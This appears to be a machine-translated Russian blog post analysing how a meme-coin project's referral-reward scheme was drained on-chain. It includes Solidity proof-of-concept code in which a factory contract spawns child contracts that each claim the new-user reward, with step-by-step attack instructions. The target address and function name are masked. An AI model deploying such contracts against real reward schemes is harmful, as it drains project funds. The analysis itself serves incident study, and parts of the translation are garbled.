Сегодняшний анализ посвящен случаю, когда местный собачий проект в сети был атакован хакерами из-за лазейки в конструкции правил, что привело к полной потере средств. Этот проект также был очень популярен в кругу. Я видел его в последнее время. сегодня, поэтому я воспользовался выходными, чтобы изучить эту технологию с точки зрения анализа того, как хакеры используют контракты, развернутые в цепочке, для уничтожения стороны проекта. То, о чем я говорю сегодня, — это не техническая ошибка, а ошибка разработки правил. Говоря об этом, некоторые одноклассники, возможно, сказали, что мой контракт не является открытым исходным кодом, как он обнаружил мои лазейки и как он напал на меня, я могу сказать вам прямо здесь. Отсутствие открытого исходного кода не означает безопасность, это просто увеличивает? хакер стоит немного.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract ChildContract {
// Определить контракт
address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
// Код субподряда...
function fun(address orderAdress) public {
// Вызов метода функции ***** удаленного контракта.
bytes4 sig = bytes4(keccak256("*****function(address)"));
(bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
require(success, "Remote contract call failed");
}
}
// определение заводского контракта
contract FactoryContract {
address[] public childrenContracts; // Массив, в котором хранятся адреса всех субподрядчиков.
function createChild(address orderAdress) public {
for (uint256 i = 0; i < 10; i++) {
ChildContract child = new ChildContract(); // Создать новый экземпляр субподряда
address childAddr = address(child); // Получить адрес субподрядчика
childrenContracts.push(orderAdress); // Сохраните адрес субподряда в массив
child.fun(orderAdress);
}
}
}
Триггер: на стороне проекта есть активность, использующая рекомендатель для размещения заказа, чтобы порекомендовать нового пользователя в первый раз, чтобы получить фиксированное вознаграждение. Изначально все было хорошо, но здесь есть лазейка. Всем известно, что адрес кошелька используется для определения пользователей в цепочке, но контракт по сути представляет собой специальный адрес. Поэтому, когда кто-то проверяет стоимость и обнаруживает, что атакующий газ может покрыть доход от вознаграждения, он начинает использовать технические средства для этого. атака. Далее я объясню демонстрационный процесс, который я продемонстрировал.
1. Создайте фабричный контракт и каждый раз повторяйте новый ChildContract через метод fro. Каждый раз новый будет получать новый адрес контракта. 2. Исправлен вызов функции проекта через метод fun в ChildContract. 3. После того, как участник проекта получит звонок, правила проверяются, и возврат средств осуществляется на рекомендованный адрес orderAdress. 4. Если FactoryContract .createChild вызывается повторно, участник проекта скоро обанкротится... 5. Ниже приведена простая запись вызова демо-версии, написанная мной.
На код не нужно обращать внимание. Главное вам сказать, что это осуществимо. . .